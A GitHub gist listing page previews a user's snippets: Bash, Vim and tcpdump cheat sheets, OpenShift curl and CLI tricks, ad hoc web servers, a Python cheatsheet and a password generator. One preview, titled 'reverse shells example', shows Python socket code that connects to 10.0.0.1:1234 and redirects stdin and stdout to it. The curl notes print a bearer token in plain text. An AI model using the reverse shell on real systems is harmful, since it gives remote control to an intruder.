Skip to content

Instantly share code, notes, and snippets.

Avatar
🏠
Working from home

Mohan Balasundaram tuxfight3r

🏠
Working from home
View GitHub Profile
@tuxfight3r
tuxfight3r / 01.bash_shortcuts_v2.md
Last active Jan 15, 2021
Bash keyboard shortcuts
View 01.bash_shortcuts_v2.md

Bash

Moving

command description
ctrl + a Goto BEGINNING of command line
ctrl + e Goto END of command line
ctrl + b move back one character
@tuxfight3r
tuxfight3r / tcp_flags.txt
Last active Jan 14, 2021
tcpdump - reading tcp flags
View tcp_flags.txt
##TCP FLAGS##
Unskilled Attackers Pester Real Security Folks
==============================================
TCPDUMP FLAGS
Unskilled = URG = (Not Displayed in Flag Field, Displayed elsewhere)
Attackers = ACK = (Not Displayed in Flag Field, Displayed elsewhere)
Pester = PSH = [P] (Push Data)
Real = RST = [R] (Reset Connection)
Security = SYN = [S] (Start Connection)
View vim-shortcuts.md

VIM KEYBOARD SHORTCUTS

MOVEMENT

h        -   Move left
j        -   Move down
k        -   Move up
l        -   Move right
$        -   Move to end of line
0        -   Move to beginning of line (including whitespace)
@tuxfight3r
tuxfight3r / curl_notes.txt
Last active Jan 12, 2021
openshift rest api login / json patch via curl
View curl_notes.txt
#Login to openshift and retrieve token
curl -u admin -kv -H "X-CSRF-Token: xxx" \
'https://master.cluster.local:8443/oauth/authorize?client_id=openshift-challenging-client&response_type=token'
#It should give you a bearer token like this
https://master.cluster.local:8443/oauth/token/implicit#access_token=aRVmsEHbUEhd4WeP2bctj0n57ogHMBvOIcrtjc7tCw4&expires_in=86400&scope=user%3Afull&token_type=Bearer
TOKEN="aRVmsEHbUEhd4WeP2bctj0n57ogHMBvOIcrtjc7tCw4"
#Get a configmap named configmaptest
@tuxfight3r
tuxfight3r / openshift_cli_tricks.MD
Last active Jan 8, 2021
openshift cli tricks - using go templates
View openshift_cli_tricks.MD

openshift list all pods and thier specs (requests/limits)

oc get pod -o jsonpath='{range .items[*]}{"SPEC:  \n  LIMITS  : "}{.spec.containers[*].resources.limits}{"\n  REQUESTS: "}{.spec.containers[*].resources.requests}{"\n"}{end}'

openshift list all pods and thier specs with name (requests /limits)

oc get pod -o jsonpath='{range .items[*]}{"NAME:  "}{.metadata.name}{"\nSPEC:  \n  LIMITS  : "}{.spec.containers[*].resources.limits}{"\n  REQUESTS: "}{.spec.containers[*].resources.requests}{"\n\n"}{end}'
@tuxfight3r
tuxfight3r / gist:409953c8d9941d36781b
Last active Jan 6, 2021
Get IP/MAC from ifconfig using sed
View gist:409953c8d9941d36781b
#ifconfig | head -n2 | tr -d '\n' |sed -n 's/.*addr\s\([0-9]\{2\}:[^ ]*\).*addr:\([^ ]*\).*/mac:\1 - ip:\2\n/p'
mac:08:00:27:89:8b:8f - ip:157.203.249.51
View web-servers.md

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@tuxfight3r
tuxfight3r / cheatsheet.py
Last active Jan 6, 2021 — forked from fuyufjh/cheatsheet.py
python cheatsheet
View cheatsheet.py
Python Cheatsheet
=================
################################ Input & Output ###############################
name = input('please enter your name: ')
print('hello,', name)
ageStr = input('please enter your age: ')
age = int(ageStr)
@tuxfight3r
tuxfight3r / reverse_shell.py
Last active Jan 6, 2021
reverse shells example
View reverse_shell.py
#!usr/bin/python
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
@tuxfight3r
tuxfight3r / pass_gen.py
Created Jan 31, 2017
python password generator
View pass_gen.py
#!/usr/bin/python3
import string
from random import *
letters = string.ascii_letters
digits = string.digits
symbols = string.punctuation
chars = letters + digits + symbols
You can’t perform that action at this time.